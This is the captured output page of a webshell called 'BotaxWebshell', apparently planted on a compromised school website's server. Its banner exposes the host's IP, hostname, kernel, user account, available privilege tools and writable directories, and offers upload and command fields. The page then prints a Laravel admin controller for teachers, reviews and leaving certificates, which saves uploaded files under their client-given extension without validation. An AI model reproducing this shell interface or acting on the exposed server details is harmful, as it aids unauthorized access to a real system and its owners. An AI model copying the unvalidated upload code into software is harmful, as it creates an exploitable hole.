BotaxWebshell
Server IP : 68.178.172.28  /  Your IP : 216.73.216.32
Web Server : Apache
System : Linux 28.172.178.68.host.secureserver.net 4.18.0-553.89.1.el8_10.x86_64 #1 SMP Mon Dec 8 03:53:08 EST 2025 x86_64
User : kiskarnal ( 1003)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /home/kiskarnal/public_html/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/kiskarnal/public_html/app/Http/Controllers/Admin/TeacherController.php
<?php

namespace App\Http\Controllers\Admin;

use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Foundation\Bus\DispatchesJobs;
use Illuminate\Foundation\Validation\ValidatesRequests;
use Illuminate\Routing\Controller as BaseController;
use App\Models\Teachers;
use App\Models\SLC;
use App\Models\Sip_review;
use Illuminate\Http\Request;
use App\Http\Requests;
use Session;
use DB;
class TeacherController extends BaseController
{
    use AuthorizesRequests, DispatchesJobs, ValidatesRequests;

   
    public function save_teacher(Request $request)
    {
        
      if($request->edit_id ==''){
           $table = new Teachers;
           $type='success';
           $msg='New Teacher Added Successfully';
      }else{
         
           $table =Teachers::find($request->edit_id);
           $type='info';
           $msg='Teacher Updated Successfully';
      }  
       
        $table->name=$request->name;
        $table->post=$request->post;
        $table->featured=empty($request->featured) ? 0 : $request->featured;
        $table->description=$request->description;
        $table->category=$request->category;
        $table->status=1;
     if ($request->hasFile('image')) {
        $file = $request->file('image');
        $extension = $file->getClientOriginalExtension(); // getting image extension
          $filename = time().'.'.$extension;
          $file->move('public/images/', $filename);
        $table->image = $filename;
    }

        $table->save();
   
        return redirect()->back()->with('type',$type)->with('msg',$msg);
    }
    
public function save_review(Request $request)
    {
        
      if($request->edit_id ==''){
           $table = new Sip_review;
           $type='success';
           $msg='New Review Added Successfully';
      }else{
         
           $table =Sip_review::find($request->edit_id);
           $type='info';
           $msg='Review Updated Successfully';
      }  
       	
        $table->name=$request->name;
        $table->class=$request->class;
        $table->description=$request->description;
        $table->review=$request->review;
   
         if ($request->hasFile('image')) {
            $file = $request->file('image');
            $extension = $file->getClientOriginalExtension(); // getting image extension
              $filename = time().'.'.$extension;
              $file->move('public/images/', $filename);
            $table->image = $filename;
        }

        $table->save();
   
        return redirect()->back()->with('type',$type)->with('msg',$msg);
    }
    
  public function teachers(Request $request){
      $data['teachers']=DB::table('teachers')->get();
      return view('admin.teacher-list',$data);
  }  
 public function delete_teacher($id){
     $data = DB::table('teachers')->where('id',$id)->delete();
     if($data){
         return 1;
     }
 } 
 
 public function delete_review($id){
     $data = DB::table('sip_review')->where('id',$id)->delete();
     if($data){
         return 1;
     }
 } 
 
  public function save_slc(Request $request)
    {
        
      if($request->edit_id ==''){
           $table = new SLC;
           $type='success';
           $msg='New SLC Added Successfully';
      }else{
         
           $table =SLC::find($request->edit_id);
           $type='info';
           $msg='SLC Updated Successfully';
      }  
       
        $table->student_name=$request->student_name;
        $table->admission_number=$request->admission_number;
        
         $table->father_name=$request->father_name;
        $table->status=1;
     if ($request->hasFile('image')) {
        $file = $request->file('image');
        $extension = $file->getClientOriginalExtension(); // getting image extension
          $filename = time().'.'.$extension;
          $file->move('public/images/', $filename);
        $table->image = $filename;
    }

        $table->save();
   
        return redirect()->back()->with('type',$type)->with('msg',$msg);
    } 
    public function slc_issued_list(){
        $data['slc']=DB::table('slc')->get();
        return view('admin.slc_issued_list',$data);
    }
    public function delete_slc($id){
     $data = DB::table('slc')->where('id',$id)->delete();
     if($data){
         return 1;
     }
 } 
}

Youez - 2016 - github.com/yon3zu
LinuXploit